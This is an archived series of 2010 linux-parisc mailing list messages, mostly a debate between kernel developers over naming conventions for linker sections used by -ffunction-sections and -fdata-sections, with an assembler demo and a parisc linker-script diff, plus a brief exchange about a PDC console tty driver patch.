X-X-Sender: tabbott@dr-wily.mit.edu
In-Reply-To: <1276556919.5374.822.camel@mulgrave.site>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2922 gmane.linux.kernel.cross-arch:6658 gmane.linux.kernel:998766
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2922>

On Mon, 14 Jun 2010, James Bottomley wrote:

> > I believe that the pattern [A-Za-z$_] matches all valid characters to 
> > start a function name (in particular, it includes "$").  If I'm missing 
> > any valid characters for the start of a function name, please correct me.
> 
> Well, our linker seems to generate annoying symbols with carets in
> them ...

The question here is: is there C code that when compiled with 
-ffunction-sections will generate an ELF section with a name that starts 
with ".text.^"?  For that to happen, you would need a function whose name 
started with "^", which isn't valid C.

The relevant namespace here is the names for ELF sections generated by 
-ffunction-sections.  These are in turn computed by the compiler from 
function names -- there's no potential conflict created by 
linker-generated symbols whose names start with a caret.  Similarly, for 
-fdata-sections, we only care about the names of C data objects, which 
also can't start with a caret.

> > While one could in principle try to handle things by not renaming the 
> > .text.foo sections and instead just placing the linker script code for 
> > them all before a .text.* item in the linker script, that approach is 
> > really fragile.  I think the "text..foo" approach is a good design and I 
> > am not aware of any problems with it.
> 
> OK, but how about some actual explanation?  You've just characterised
> the current -ffunction-sections scheme that parisc has used for decades
> as "fragile"

The current parisc situation is fine.

What I was trying to draw a contrast with is supporting -fdata-sections by 
adding ".data.*" to DATA_DATA, and then trying to make sure that all the 
architecture linker scripts handle all the kernel's special data sections 
with names like ".data.foo" before the place where DATA_DATA appears in 
their linker scripts.  Most of the architecture linker scripts mention 
more than a half dozen special kernel sections with names of the form 
".data.foo", often in fairly random orders, and so it would be really 
fragile to add the constraint that these sections need to all appear above 
DATA_DATA.

Adding ".data.[A-Za-z$_]" to DATA_DATA doesn't have this problem.

If we similarly added ".text.[A-Za-z$_]" to TEXT_TEXT, we'd presumably 
move the 4 named .text.foo sections before TEXT_TEXT; I don't think any 
other architectures would require any work.

> > Some more detailed explanation is available here:
> > <http://lkml.org/lkml/2010/2/19/365>
> 
> That's still a bit short on explanations.
>
> But if I infer from the rest, someone, somewhere broke the convention
> that all our special linux sections be called .XX.data and .XX.text to
> distinguish them from the .text.FF and .data.YY the compiler will
> generate with the relevant sectional directives? because it's been
> working OK for us for a while.

I don't know the full history here.  But prior to the ".data.foo" -> 
".data..foo" patches that were merged recently, there were a bunch of 
cross-architecture sections with these sorts of names, e.g.:

.data.page_aligned
.data.nosave
.data.read_mostly
.data.cacheline_aligned
.data.lock_aligned
.data.percpu*
.data.init_task
etc.

There were also a bunch of ".text.foo" sections on individual 
architectures, many of which currently don't support -ffunction-sections 
(sh, ia64, x86, mips, etc.).

However, there weren't any .text.foo sections that are cross-architecture.  
Since parisc only uses -ffunction-sections, and not -fdata-sections, the 
popular .data.foo naming scheme doesn't cause any breakage on parisc.

The only architecture that does use -fdata-sections is frv, and there 
could theoretically have been breakage there, but in practice it's likely 
nobody has written kernel code that would actually conflict, e.g. "static 
int percpu = 3;", yet.

> To fix the breakage, the proposal now is to name all linux special
> sections as .text..XX and .data..XX?  I can see that's more standard
> looking that XX.text and XX.data, but not necessarily that it's better.

Yes, that's the proposal.

> This then introduces a problem of matching because .text.X and .text..X
> are hard to distinguish using the linker matching scripts.

Right.  I believe that this is totally solvable with a simple linker 
script pattern, since the space of valid names for functions and data 
objects in C code is quite restricted (and that the implementation of 
using e.g. ".data.[A-Za-z$_]*" solves this problem).

> So even if I buy the rename of the linux symbols, what about using a 
> linker defined symbol that's illegal as a function as the initial 
> separator instead of .?  So hyphen looks the obvious one ... you can 
> have all the linux special sections being .text- and .data- then we can 
> easily distinguish.

Is "." a valid first character for a function name?  I don't see the 
problem with using "." here.

Both .page_aligned.data and .data-page_aligned are valid choices (and in 
fact, the first patch series I sent on this topic about 18 months ago did 
.page_aligned.data, I think).

The main technical difference between ".data..page_aligned" and 
".page_aligned.data" in my view is that you need to be more careful when 
writing assembly files with ".page_aligned.data".

To give an example, if I run the following:

$ cat > foo.s 
.section .data-page-aligned
	.long 0
.section .data.page_aligned
	.long 1
$ gcc -c foo.s -o foo.o
$ objdump -h foo.o 
foo.o:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .text         00000000  00000000  00000000  00000034  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .data         00000000  00000000  00000000  00000034  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  2 .bss          00000000  00000000  00000000  00000034  2**2
                  ALLOC
  3 .data-page-aligned 00000004  00000000  00000000  00000034  2**0
                  CONTENTS, READONLY
  4 .data.page_aligned 00000004  00000000  00000000  00000038  2**0
                  CONTENTS, ALLOC, LOAD, DATA

one can see that the .data-page-aligned section doesn't have the right 
section flags.  So I'm pretty sure the relevant assembler heuristic is 
looking for things starting with ".data.", not just ".data".

The kernel has a lot of code in assembly files that just does:

.section ".data"

and so there's a very real risk that folks who are doing pattern-matching 
development on assembly files will end up creating non-allocated sections 
by accident (I've certainly made this mistake myself, and there's a bug of 
this form in arch/x86/lib/thunk.S until commit 
c6c2d7a084d14a8a701be84872aa1b77d2945f46, so I don't think I'm alone)

I also think that ".data..page_aligned" is more readable as a new name for 
the former ".data.page_aligned" than ".page_aligned.data" is, but I think 
that's a secondary consideration.  ".data.-page_aligned" would be 
technically equivalent to ".data..page_aligned", but I think it is uglier.

	-Tim Abbott
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@ksplice.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 1/5] vmlinux.lds.h: Include *(.text.*) in TEXT_TEXT
Date: Mon, 14 Jun 2010 22:52:08 -0400 (EDT)
Lines: 72
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1006142245560.1248@dr-wily.mit.edu>
References: <1276519112-11649-1-git-send-email-matt@console-pimps.org>  <alpine.DEB.1.10.1006141014360.1432@dr-wily.mit.edu>  <87y6ehxvby.fsf@linux-g6p1.site>  <alpine.DEB.1.10.1006141534490.1248@dr-wily.mit.edu> <1276557299.5374.847.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1276570338 24471 80.91.229.12 (15 Jun 2010 02:52:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 Jun 2010 02:52:18 +0000 (UTC)
Cc: Matt Fleming <matt@console-pimps.org>, linux-arch@vger.kernel.org,
	Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org,
	Sam Ravnborg <sam@ravnborg.org>, Michal Marek <mmarek@suse.cz>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 15 04:52:15 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OOMG5-0003j7-CF
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Jun 2010 04:52:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756300Ab0FOCwM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Jun 2010 22:52:12 -0400
Original-Received: from mail-gy0-f174.google.com ([209.85.160.174]:45778 "EHLO
	mail-gy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754182Ab0FOCwM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Jun 2010 22:52:12 -0400
Original-Received: by gye5 with SMTP id 5so2932607gye.19
        for <multiple recipients>; Mon, 14 Jun 2010 19:52:10 -0700 (PDT)
Original-Received: by 10.229.185.195 with SMTP id cp3mr2731945qcb.217.1276570330522;
        Mon, 14 Jun 2010 19:52:10 -0700 (PDT)
Original-Received: from ksplice.com (DR-WILY.MIT.EDU [18.181.0.233])
        by mx.google.com with ESMTPS id t34sm14538845qcp.6.2010.06.14.19.52.09
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Mon, 14 Jun 2010 19:52:09 -0700 (PDT)
X-X-Sender: tabbott@dr-wily.mit.edu
In-Reply-To: <1276557299.5374.847.camel@mulgrave.site>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2923 gmane.linux.kernel.cross-arch:6659 gmane.linux.kernel:998774
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2923>

On Mon, 14 Jun 2010, James Bottomley wrote:

> On Mon, 2010-06-14 at 18:21 -0400, Tim Abbott wrote:
> > On Mon, 14 Jun 2010, Matt Fleming wrote:
> > 
> > > Do these special kernel sections include things like the parisc
> > > .text.do_softirq, .text.sys_exit, etc? James raised a good objection to
> > > the parisc patch of this series. I'm guessing most people saw it already
> > > but I'll paste it here for reference,
> > > 
> > >     This would destroy all of the named parisc text ordering we do above the
> > >     removed line because now you'd have swept up all the function sections
> > >     before we get to them, won't it?
> > > 
> > >     The ordering is an execution speed up on 32 bit systems because our
> > >     relative jump is so short.
> > > 
> > > Will you changes handle this OK?
> > 
> > I think I addressed this in my reply to James just now, but to be super 
> > clear, this -ffunction-sections plan involves renaming .text.do_softirq to 
> > .text..do_softirq (etc.) first.
> 
> OK, so that doesn't make a lot of sense to me; I suspect because you
> don't understand what parisc is doing.  These aren't names of linux
> special sections ... they're names of function sections.  For
> efficiency, we take specific hot functions and place them together in
> the linker script so the jumps between them are small enough to be coded
> as relative on the 32 bit architecture.  It's really just a more
> efficient way of laying out the binary.

Yeah, I'd forgotten parisc was doing -ffunction-sections, now I understand 
what you're talking about.  What I'd recommend is just moving the 
.text.do_softirq and friends like in the hunk below -- I believe that 
should achieve the same performance goals, and should have no conflict 
with adding a wildcard for -ffunction-sections generated sections to 
TEXT_TEXT.

	-Tim Abbott

diff --git a/arch/parisc/kernel/vmlinux.lds.S 
b/arch/parisc/kernel/vmlinux.lds.S
index d64a6bb..ad0d3d3 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -52,15 +52,15 @@ SECTIONS
        _text = .;              /* Text and read-only data */
        .text ALIGN(16) : {
                HEAD_TEXT
+               *(.text.do_softirq)
+               *(.text.sys_exit)
+               *(.text.do_sigaltstack)
+               *(.text.do_fork)
                TEXT_TEXT
                SCHED_TEXT
                LOCK_TEXT
                KPROBES_TEXT
                IRQENTRY_TEXT
-               *(.text.do_softirq)
-               *(.text.sys_exit)
-               *(.text.do_sigaltstack)
-               *(.text.do_fork)
                *(.text.*)
                *(.fixup)
                *(.lock.text)           /* out-of-line lock text */


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add tty driver to PDC console
Date: Tue, 15 Jun 2010 13:34:10 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20100615133410.044ea5b1@borg.bxl.tuxicoman.be>
References: <20100614192441.245da011@zombie>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276601682 21672 80.91.229.12 (15 Jun 2010 11:34:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 Jun 2010 11:34:42 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 15 13:34:40 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OOUPZ-0007eX-OM
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Jun 2010 13:34:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756676Ab0FOLeb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jun 2010 07:34:31 -0400
Original-Received: from smtp1.tech.numericable.fr ([82.216.111.37]:48850 "EHLO
	smtp1.tech.numericable.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756677Ab0FOLea (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jun 2010 07:34:30 -0400
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.107.20.coditel.net [85.28.107.20])
	by smtp1.tech.numericable.fr (Postfix) with ESMTP id 26F3DE0815
	for <linux-parisc@vger.kernel.org>; Tue, 15 Jun 2010 13:34:27 +0200 (CEST)
Original-Received: from [2001:6f8:310:301::1] (helo=borg.bxl.tuxicoman.be)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.71)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1OOUPC-0007Bg-UZ
	for linux-parisc@vger.kernel.org; Tue, 15 Jun 2010 13:34:25 +0200
In-Reply-To: <20100614192441.245da011@zombie>
X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.9; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2924
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2924>

On Mon, 14 Jun 2010 19:24:41 +0200
Guy Martin <gmsoft@tuxicoman.be> wrote:

> 
> 
> This patch adds a tty driver to the PDC console. It allows the use
> of ports not supported by linux as a console (e.g. serial port on
> C3600).

Err, I meant the C8000.

  Guy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add tty driver to PDC console
Date: Tue, 15 Jun 2010 07:35:53 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20100615113553.GP20317@bombadil.infradead.org>
References: <20100614192441.245da011@zombie> <20100615133410.044ea5b1@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1276601759 21941 80.91.229.12 (15 Jun 2010 11:35:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 Jun 2010 11:35:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 15 13:35:58 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OOUQu-0008NE-9i
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Jun 2010 13:35:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757195Ab0FOLfz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jun 2010 07:35:55 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:58033 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752802Ab0FOLfy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jun 2010 07:35:54 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1OOUQr-00047K-8I; Tue, 15 Jun 2010 11:35:53 +0000
Content-Disposition: inline
In-Reply-To: <20100615133410.044ea5b1@borg.bxl.tuxicoman.be>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2925
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2925>

On Tue, Jun 15, 2010 at 01:34:10PM +0200, Guy Martin wrote:
> On Mon, 14 Jun 2010 19:24:41 +0200
> Guy Martin <gmsoft@tuxicoman.be> wrote:
> 
> > 
> > 
> > This patch adds a tty driver to the PDC console. It allows the use
> > of ports not supported by linux as a console (e.g. serial port on
> > C3600).
> 
> Err, I meant the C8000.
> 

I figured... I'll take a look at it over the weekend. (Also, I'll see if
I can dig up the radeonfb hacks.)

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 1/5] vmlinux.lds.h: Include *(.text.*) in TEXT_TEXT
Date: Wed, 16 Jun 2010 16:40:03 -0500
Lines: 209
Approved: news@gmane.org
Message-ID: <1276724403.2847.453.camel@mulgrave.site>
References: <1276519112-11649-1-git-send-email-matt@console-pimps.org>
	 <alpine.DEB.1.10.1006141014360.1432@dr-wily.mit.edu>
	 <87y6ehxvby.fsf@linux-g6p1.site> <1276545951.5374.260.camel@mulgrave.site>
	 <alpine.DEB.1.10.1006141608550.1248@dr-wily.mit.edu>
	 <1276556919.5374.822.camel@mulgrave.site>
	 <alpine.DEB.1.10.1006142039250.1248@dr-wily.mit.edu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276724415 2276 80.91.229.12 (16 Jun 2010 21:40:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 Jun 2010 21:40:15 +0000 (UTC)
Cc: Matt Fleming <matt@console-pimps.org>, linux-arch@vger.kernel.org,
	Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org,
	Sam Ravnborg <sam@ravnborg.org>, Michal Marek <mmarek@suse.cz>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Tim Abbott <tabbott@ksplice.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 16 23:40:12 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OP0LD-0004lQ-H5
	for glpp-linux-parisc@lo.gmane.org; Wed, 16 Jun 2010 23:40:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932691Ab0FPVkK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Jun 2010 17:40:10 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38381 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932512Ab0FPVkH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Jun 2010 17:40:07 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3C0B78EE0F8;
	Wed, 16 Jun 2010 14:40:07 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id kEy9dcbJb+gX; Wed, 16 Jun 2010 14:40:07 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 21AF58EE0E4;
	Wed, 16 Jun 2010 14:40:06 -0700 (PDT)
In-Reply-To: <alpine.DEB.1.10.1006142039250.1248@dr-wily.mit.edu>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2926 gmane.linux.kernel.cross-arch:6707 gmane.linux.kernel:999720
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2926>

On Mon, 2010-06-14 at 22:45 -0400, Tim Abbott wrote: 
> On Mon, 14 Jun 2010, James Bottomley wrote:
> 
> > > I believe that the pattern [A-Za-z$_] matches all valid characters to 
> > > start a function name (in particular, it includes "$").  If I'm missing 
> > > any valid characters for the start of a function name, please correct me.
> > 
> > Well, our linker seems to generate annoying symbols with carets in
> > them ...
> 
> The question here is: is there C code that when compiled with 
> -ffunction-sections will generate an ELF section with a name that starts 
> with ".text.^"?  For that to happen, you would need a function whose name 
> started with "^", which isn't valid C.

True ... but I didn't say that it was valid C.  I said the compiler is
spitting them out in the assembly ... I suspect it uses invalid C
function characters precisely to avoid clashes.

> The relevant namespace here is the names for ELF sections generated by 
> -ffunction-sections.  These are in turn computed by the compiler from 
> function names -- there's no potential conflict created by 
> linker-generated symbols whose names start with a caret.  Similarly, for 
> -fdata-sections, we only care about the names of C data objects, which 
> also can't start with a caret.
> 
> > > While one could in principle try to handle things by not renaming the 
> > > .text.foo sections and instead just placing the linker script code for 
> > > them all before a .text.* item in the linker script, that approach is 
> > > really fragile.  I think the "text..foo" approach is a good design and I 
> > > am not aware of any problems with it.
> > 
> > OK, but how about some actual explanation?  You've just characterised
> > the current -ffunction-sections scheme that parisc has used for decades
> > as "fragile"
> 
> The current parisc situation is fine.
> 
> What I was trying to draw a contrast with is supporting -fdata-sections by 
> adding ".data.*" to DATA_DATA, and then trying to make sure that all the 
> architecture linker scripts handle all the kernel's special data sections 
> with names like ".data.foo" before the place where DATA_DATA appears in 
> their linker scripts.  Most of the architecture linker scripts mention 
> more than a half dozen special kernel sections with names of the form 
> ".data.foo", often in fairly random orders, and so it would be really 
> fragile to add the constraint that these sections need to all appear above 
> DATA_DATA.
> 
> Adding ".data.[A-Za-z$_]" to DATA_DATA doesn't have this problem.
> 
> If we similarly added ".text.[A-Za-z$_]" to TEXT_TEXT, we'd presumably 
> move the 4 named .text.foo sections before TEXT_TEXT; I don't think any 
> other architectures would require any work.
> 
> > > Some more detailed explanation is available here:
> > > <http://lkml.org/lkml/2010/2/19/365>
> > 
> > That's still a bit short on explanations.
> >
> > But if I infer from the rest, someone, somewhere broke the convention
> > that all our special linux sections be called .XX.data and .XX.text to
> > distinguish them from the .text.FF and .data.YY the compiler will
> > generate with the relevant sectional directives? because it's been
> > working OK for us for a while.
> 
> I don't know the full history here.  But prior to the ".data.foo" -> 
> ".data..foo" patches that were merged recently, there were a bunch of 
> cross-architecture sections with these sorts of names, e.g.:
> 
> .data.page_aligned
> .data.nosave
> .data.read_mostly
> .data.cacheline_aligned
> .data.lock_aligned
> .data.percpu*
> .data.init_task
> etc.
> 
> There were also a bunch of ".text.foo" sections on individual 
> architectures, many of which currently don't support -ffunction-sections 
> (sh, ia64, x86, mips, etc.).
> 
> However, there weren't any .text.foo sections that are cross-architecture.  
> Since parisc only uses -ffunction-sections, and not -fdata-sections, the 
> popular .data.foo naming scheme doesn't cause any breakage on parisc.
> 
> The only architecture that does use -fdata-sections is frv, and there 
> could theoretically have been breakage there, but in practice it's likely 
> nobody has written kernel code that would actually conflict, e.g. "static 
> int percpu = 3;", yet.

Right, but what I was curious about, since, we already sorted all the
problems with text sections out on parisc by putting the .text as a
suffix not a prefix, and you have to change all the data sections
anyway, why not just follow established practise?

> > To fix the breakage, the proposal now is to name all linux special
> > sections as .text..XX and .data..XX?  I can see that's more standard
> > looking that XX.text and XX.data, but not necessarily that it's better.
> 
> Yes, that's the proposal.
> 
> > This then introduces a problem of matching because .text.X and .text..X
> > are hard to distinguish using the linker matching scripts.
> 
> Right.  I believe that this is totally solvable with a simple linker 
> script pattern, since the space of valid names for functions and data 
> objects in C code is quite restricted (and that the implementation of 
> using e.g. ".data.[A-Za-z$_]*" solves this problem).
> 
> > So even if I buy the rename of the linux symbols, what about using a 
> > linker defined symbol that's illegal as a function as the initial 
> > separator instead of .?  So hyphen looks the obvious one ... you can 
> > have all the linux special sections being .text- and .data- then we can 
> > easily distinguish.
> 
> Is "." a valid first character for a function name?  I don't see the 
> problem with using "." here.

The problem is that it's hard to get the linker to distinguish
between .text.. and .text. without funny regexp contortions.  However,
if the two sections began .text- and .text. they are easy to distinguish
because one prefix isn't a subset of the other.

> Both .page_aligned.data and .data-page_aligned are valid choices (and in 
> fact, the first patch series I sent on this topic about 18 months ago did 
> .page_aligned.data, I think).
> 
> The main technical difference between ".data..page_aligned" and 
> ".page_aligned.data" in my view is that you need to be more careful when 
> writing assembly files with ".page_aligned.data".
> 
> To give an example, if I run the following:
> 
> $ cat > foo.s 
> .section .data-page-aligned
> 	.long 0
> .section .data.page_aligned
> 	.long 1
> $ gcc -c foo.s -o foo.o
> $ objdump -h foo.o 
> foo.o:     file format elf32-i386
> 
> Sections:
> Idx Name          Size      VMA       LMA       File off  Algn
>   0 .text         00000000  00000000  00000000  00000034  2**2
>                   CONTENTS, ALLOC, LOAD, READONLY, CODE
>   1 .data         00000000  00000000  00000000  00000034  2**2
>                   CONTENTS, ALLOC, LOAD, DATA
>   2 .bss          00000000  00000000  00000000  00000034  2**2
>                   ALLOC
>   3 .data-page-aligned 00000004  00000000  00000000  00000034  2**0
>                   CONTENTS, READONLY
>   4 .data.page_aligned 00000004  00000000  00000000  00000038  2**0
>                   CONTENTS, ALLOC, LOAD, DATA
> 
> one can see that the .data-page-aligned section doesn't have the right 
> section flags.  So I'm pretty sure the relevant assembler heuristic is 
> looking for things starting with ".data.", not just ".data".
> 
> The kernel has a lot of code in assembly files that just does:
> 
> .section ".data"
> 
> and so there's a very real risk that folks who are doing pattern-matching 
> development on assembly files will end up creating non-allocated sections 
> by accident (I've certainly made this mistake myself, and there's a bug of 
> this form in arch/x86/lib/thunk.S until commit 
> c6c2d7a084d14a8a701be84872aa1b77d2945f46, so I don't think I'm alone)

But that commit isn't anything to do with the section not being
allocated.  That's actually irrelevant to us, since we sort out the
sectional allocations out at link time with the linker script (which
ends up completely ignoring the original file flags).  The problem,
specifically, is that the linker does a rename of two identically named
sections with different flags ... we would also get the same behaviour
if the linker thought two sections weren't mergeable even if they did
have identical flags.

In general, I think it's good practise for all use of sections to
specify the elf flags.

> I also think that ".data..page_aligned" is more readable as a new name for 
> the former ".data.page_aligned" than ".page_aligned.data" is, but I think 
> that's a secondary consideration.  ".data.-page_aligned" would be 
> technically equivalent to ".data..page_aligned", but I think it is uglier.

Actually, as I said, that would be .data- 

But, to be honest, I don't care that much about the data names because
we don't use -fdata-sections, the only objection is that having two
separate conventions for text and data is adding needless complexity ...
I do care about the text names, and I'd rather we stuck to the existing
convention there, or provided a good reason for the change ... and
wanting .text. as a prefix for everything is weak at best.

The specific objection I have to converting everything to the .text..*
prefix for linux sections is that the gather all function sections can
no longer be *(.text.*), but has to become a regular expression, which
is adding fragility.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <JBottomley@Novell.com>
